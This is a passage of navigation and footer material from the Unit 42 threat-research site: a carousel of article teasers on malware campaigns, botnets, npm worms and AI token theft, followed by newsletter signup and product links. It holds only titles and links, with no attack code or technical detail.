arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/ "The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE") ![Pictorial representation of a pay-per-install threat group campaign prodiving infection service for spreading malware. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip, symbolizing data processing and transfer. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/04_Malware_Category_1920x900-6-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 9, 2026 [#### Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/) * [ARKTunnel](https://unit42.paloaltonetworks.com/tag/arktunnel/ "ARKTunnel") * [C2](https://unit42.paloaltonetworks.com/tag/c2/ "C2") * [CL-CRI-1171](https://unit42.paloaltonetworks.com/tag/cl-cri-1171/ "CL-CRI-1171") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/ "Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure") ![Pictorial representation of attackers using AI tools to target Latin American organizations. A vibrant cityscape with silhouettes of numerous people walking along a bustling street. The scene is illuminated by bright urban lights and digital-like particles, creating a dynamic and futuristic atmosphere.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/AdobeStock_768915868-2-1-786x373.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 3, 2026 [#### Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/) * [Agentic AI](https://unit42.paloaltonetworks.com/tag/agentic-ai/ "Agentic AI") * [ChatGPT](https://unit42.paloaltonetworks.com/tag/chatgpt/ "ChatGPT") * [CL-CRI-1131](https://unit42.paloaltonetworks.com/tag/cl-cri-1131/ "CL-CRI-1131") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/ "Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America") ![Pictorial representation of vishing campaigns in Microsoft Teams. A digital image of a skull formed by blue binary code on a black background, with scattered ones and zeros and digital noise, symbolizes how stealthy prompt injection attacks can exploit AI logic to bypass security controls.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/01_Malware_Category_1920x900-5-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 31, 2026 [#### Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/) * [Cloaked Ursa](https://unit42.paloaltonetworks.com/tag/cloaked-ursa/ "Cloaked Ursa") * [Entra ID](https://unit42.paloaltonetworks.com/tag/entra-id/ "Entra ID") * [Microsoft Teams](https://unit42.paloaltonetworks.com/tag/microsoft-teams/ "Microsoft Teams") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/ "Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams") ![Pictorial representation of AI-enabled malware. A vibrant digital interface displaying various icons and graphs, resembling a futuristic network or data analysis dashboard. The scene is illuminated with glowing lights and patterns.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1270203474-2-1-786x368.png) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 25, 2026 [#### The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/) * [Backdoor](https://unit42.paloaltonetworks.com/tag/backdoor/ "backdoor") * [Bitcoin](https://unit42.paloaltonetworks.com/tag/bitcoin/ "Bitcoin") * [DLL hijacking](https://unit42.paloaltonetworks.com/tag/dll-hijacking/ "DLL hijacking") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/ "The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution") ![Pictorial representation of identity abuse through trusted communication channels. Close-up view of a digital screen displaying a glitched and pixelated image of a skull-like shape.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/02_Malware_Category_1920x900-2-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 20, 2026 [#### Identity Abuse Through Trusted Communication Channels](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/) * [Authentication](https://unit42.paloaltonetworks.com/tag/authentication/ "authentication") * [Identity theft](https://unit42.paloaltonetworks.com/tag/identity-theft/ "identity theft") * [Malware](https://unit42.paloaltonetworks.com/tag/malware/ "malware") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/ "Identity Abuse Through Trusted Communication Channels") ![Pictorial representation of Kimwolf botnet malware family. Digital screen with a warning sign reading "Malware." The background features lines of computer code and graphics, creating a sense of cybersecurity threat.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/07_Malware_Category_1920x900-3-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 11, 2026 [#### Kimwolf v7: An Evolution of the Kimwolf Botnet](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/) * [Android APK](https://unit42.paloaltonetworks.com/tag/android-apk/ "Android APK") * [Ethereum](https://unit42.paloaltonetworks.com/tag/ethereum/ "Ethereum") * [HTTP](https://unit42.paloaltonetworks.com/tag/http/ "HTTP") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/ "Kimwolf v7: An Evolution of the Kimwolf Botnet") ![Pictorial representatiom pf Aeternum's blockchain C2. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/04_Malware_Category_1920x900-4-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 10, 2026 [#### The Permanent Threat: Analyzing Aeternum's Blockchain-Based C2 Operations and Communications](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/) * [Aeternum](https://unit42.paloaltonetworks.com/tag/aeternum/ "Aeternum") * [Infection chain](https://unit42.paloaltonetworks.com/tag/infection-chain/ "infection chain") * [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/ "The Permanent Threat: Analyzing Aeternum’s Blockchain-Based C2 Operations and Communications") ![Pictorial representation of ChainDrop, a self-propagating npm worm. An artistic depiction of a digital workspace featuring an open laptop with a red virus on the screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/03_Malware_Category_1920x900-7-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) August 6, 2026 [#### ChainDrop: Inside a Self-Propagating npm Worm](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/) * [Blockchain](https://unit42.paloaltonetworks.com/tag/blockchain/ "blockchain") * [ChainDrop](https://unit42.paloaltonetworks.com/tag/chaindrop/ "ChainDrop") * [Claude code](https://unit42.paloaltonetworks.com/tag/claude-code/ "Claude code") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/ "ChainDrop: Inside a Self-Propagating npm Worm") ![Pictorial representation of Token-jacking. A person types on a laptop with multiple digital interface elements projected, including an "AI" icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1246251272-2-786x369.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 6, 2026 [#### Token Jacking: Cybercriminals Could Be Stealing Your AI Resources](https://unit42.paloaltonetworks.com/ai-token-jacking/) * [AI API](https://unit42.paloaltonetworks.com/tag/ai-api/ "AI API") * [AI gateway](https://unit42.paloaltonetworks.com/tag/ai-gateway/ "AI gateway") * [API keys](https://unit42.paloaltonetworks.com/tag/api-keys/ "API keys") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-token-jacking/ "Token Jacking: Cybercriminals Could Be Stealing Your AI Resources") * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]() ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/unit42-footer-subscribe-desktop.png) ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Get updates from Unit 42 ## Peace of mind comes from staying ahead of threats. Subscribe today. Your Email Subscribe for email updates to all Unit 42 threat research. By submitting this form, you agree to our [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use "Terms of Use") and acknowledge our [Privacy Statement.](https://www.paloaltonetworks.com/legal-notices/privacy "Privacy Statement") This site is protected by reCAPTCHA and the Google [Privacy Policy](https://policies.google.com/privacy) and [Terms of Service](https://policies.google.com/terms) apply. Invalid captcha! Subscribe ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) ![loader](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-loader.svg) {#footer} Products and Services * [AI-Powered Network Security Platform](https://www.paloaltonetworks.com/network-security) * [Secure AI by Design](https://www.paloaltonetworks.com/ai-security) * [Prisma AIRS](https://www.paloaltonetworks.com/ai-security/prisma-airs) * [AI Access Security](https://www.paloaltonetworks.com/sase/ai-access-security) * [Cloud Delivered Security Services](https://www.paloaltonetworks.com/network-security/security-subscriptions) * [Advanced Threat Prevention](https://www.paloaltonetworks.com/network-security/advanced-threat-prevention) * [Advanced URL Filtering](https://www.paloaltonetworks.com/network-security/advanced-url-filtering) * [Advanced WildFire](https://www.paloaltonetworks.com/network-security/advanced-wildfire) * [Advanced DNS Security](https://www.paloaltonetworks.com/network-security/advanced-dns-security) * [Enterprise Data Loss Prevention](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention) * [Enterprise IoT Security](https://www.paloaltonetworks.com/network-security/enterprise-device-security) * [Medical IoT Security](https://www.paloaltonetworks.com/network-security/medical-device-security) * [Industrial OT Security](https://www.paloaltonetworks.com/network-security/ot-security-solution) * [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security) * [Next-Generation Firewalls](https://www.paloaltonetworks.com/network-security/next-generation-firewall) * [Hardware Firewalls](https://www.paloaltonetworks.com/network-security/hardware-firewall-innovations) * [Software Firewalls](https://www.paloaltonetworks.com/network-security/software-firewalls) * [Strata Cloud Manager](https://www.paloaltonetworks.com/network-security/strata-cloud-manager) * [SD-WAN for NGFW](https://www.paloaltonetworks.com/network-security/sd-wan-subscription) * [PAN-OS](https://www.paloaltonetworks.com/network-security/pan-os) * [Panorama](https://www.paloaltonetworks.com/network-security/panorama) * [Secure Access Service Edge](https://www.paloaltonetworks.com/sase) * [Prisma SASE](https://www.paloaltonetworks.com/sase) * [Application Acceleration](https://www.paloaltonetworks.com/sase/app-acceleration) * [Autonomous Digital Experience Management](https://www.paloaltonetworks.com/sase/adem) * [Enterprise DLP](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention) * [Prisma Access](https://www.paloaltonetworks.com/sase/access) * [Prisma Browser](https://www.paloaltonetworks.com/sase/prisma-browser) * [Prisma SD-WAN](https://www.paloaltonetworks.com/sase/sd-wan) * [Remote Browser Isolation](https://www.paloaltonetworks.com/sase/remote-browser-isolation) * [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security) * [AI-Driven Security Operations Platform](https://www.paloaltonetworks.com/cortex) * [Cloud Security](https://www.paloaltonetworks.com/cortex/cloud) * [Cortex Cloud](https://www.paloaltonetworks.com/cortex/cloud) * [Application Security](https://www.paloaltonetworks.com/cortex/cloud/application-security) * [Cloud Posture Security](https://www.paloaltonetworks.com/cortex/cloud/cloud-posture-security) * [Cloud Runtime Security](https://www.paloaltonetworks.com/cortex/cloud/runtime-security) * [Prisma Cloud](https://www.paloaltonetworks.com/prisma/cloud) * [AI-Driven SOC](https://www.paloaltonetworks.com/cortex) * [Cortex XSIAM](https://www.paloaltonetworks.com/cortex/cortex-xsiam) * [Cortex XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr) * [Cortex XSOAR](https://www.paloaltonetworks.com/cortex/cortex-xsoar) * [Cortex Xpanse](https://www.paloaltonetworks.com/cortex/cortex-xpanse) * [Unit 42 Managed Detection \& Response](https://www.paloaltonetworks.com/cortex/managed-detection-and-response) * [Managed XSIAM](https://www.paloaltonetworks.com/cortex/managed-xsiam) * [Next-Generation Identity Security](https://www.paloaltonetworks.com/idira) * [Privileged Access Management](https://www.paloaltonetworks.com/idira/human/privileged-access-management) * [Identity and Access Management](https://www.paloaltonetworks.com/idira/human/identity-and-access-management) * [Endpoint Privilege Manager](https://www.paloaltonetworks.com/idira/human/endpoint-privilege-manager) * [Identity Governance](https://www.paloaltonetworks.com/idira/human/identity-governance) * [Workforce Password Management](https://www.paloaltonetworks.com/idira/human/workforce-password-management) * [Agentic Identities](https://www.paloaltonetworks.com/idira/agentic) * [Secrets Management](https://www.paloaltonetworks.com/idira/machine/secrets-management) * [Unified Secrets Governance](https://www.paloaltonetworks.com/idira/machine/unified-secrets-governance) * [Application Credentials Delivery](https://www.paloaltonetworks.com/idira/machine/application-credentials-delivery) * [Vendor Privileged Access](https://www.paloaltonetworks.com/idira/human/vendor-privileged-access) * [Threat Intel and Incident Response Services](https://www.paloaltonetworks.com/unit42) * [Prepare for Emerging Risks](https://www.paloaltonetworks.com/unit42/frontier-ai-defense) * [Strengthen Your Defenses](https://www.paloaltonetworks.com/unit42/strengthen-your-defenses) * [Build Your Security Strategy](https://www.paloaltonetworks.com/unit42/build-your-security-strategy) * [Understand the Adversary](https://www.paloaltonetworks.com/unit42/threat-intelligence) * [Respond to a Cyber Attack](https://www.paloaltonetworks.com/unit42/respond) Company * [About Us](https://www.paloaltonetworks.com/about-us) * [Careers](https://jobs.paloaltonetworks.com/en/) * [Contact Us](https://www.paloaltonetworks.com/company/contact-sales) * [Corporate Responsibility](https://www.paloaltonetworks.com/about-us/corporate-responsibility) * [Customers](https://www.paloaltonetworks.com/customers) * [Investor Relations](https://investors.paloaltonetworks.com/) * [Location](https://www.paloaltonetworks.com/about-us/locations) * [Newsroom](https://www.paloaltonetworks.com/company/newsroom) Popular Links * [Blog](https://www.paloaltonetworks.com/blog/) * [Communities](https://www.paloaltonetworks.com/communities) * [Content Library](https://www.paloaltonetworks.com/resources) * [Cyberpedia](https://www.paloaltonetworks.com/cyberpedia) * [Event Center](https://events.paloaltonetworks.com/) * [Manage Email Preferences](https://start.paloaltonetworks.com/preference-center) * [Products A-Z](https://www.paloaltonetworks.com/products/products-a-z) * [Product Certifications](https://www.paloaltonetworks.com/legal-notices/trust-center/certifications) * [Report a Vulnerability](https://www.paloaltonetworks.com/security-disclosure) * [Sitemap](https://www.paloaltonetworks.com/sitemap) * [Tech Docs](https://docs.paloaltonetworks.com/) * [Unit 42](https://unit42.paloaltonetworks.com/) * [Do Not Sell or Share My Personal Information](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd) ![Palo Alto Networks Logo](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/pan-logo-dark.svg) * [Privacy](https://www.paloaltonetworks.com/legal-notices/privacy) * [Trust Center](https://www.paloaltonetworks.com/legal-notices/trust-center) * [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use) * [Documents](https://www.paloaltonetworks.com/legal) Copyright © 2026 Palo Alto Networks. All Rights Reserved * [![Youtube](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks) * [![Podcast](https://www.paloaltonetworks.com/content/dam/pan/en_US/images/icons/podcast.svg)](https://www.paloaltonetworks.com/podcasts/threat-vector) * [![Facebook](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/) * [![LinkedIn](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks) * [![Twitter](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks) * EN Select your language ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ### Default Heading Read the article ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) Seekbar ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Volume](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-volume.svg) Volume ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg)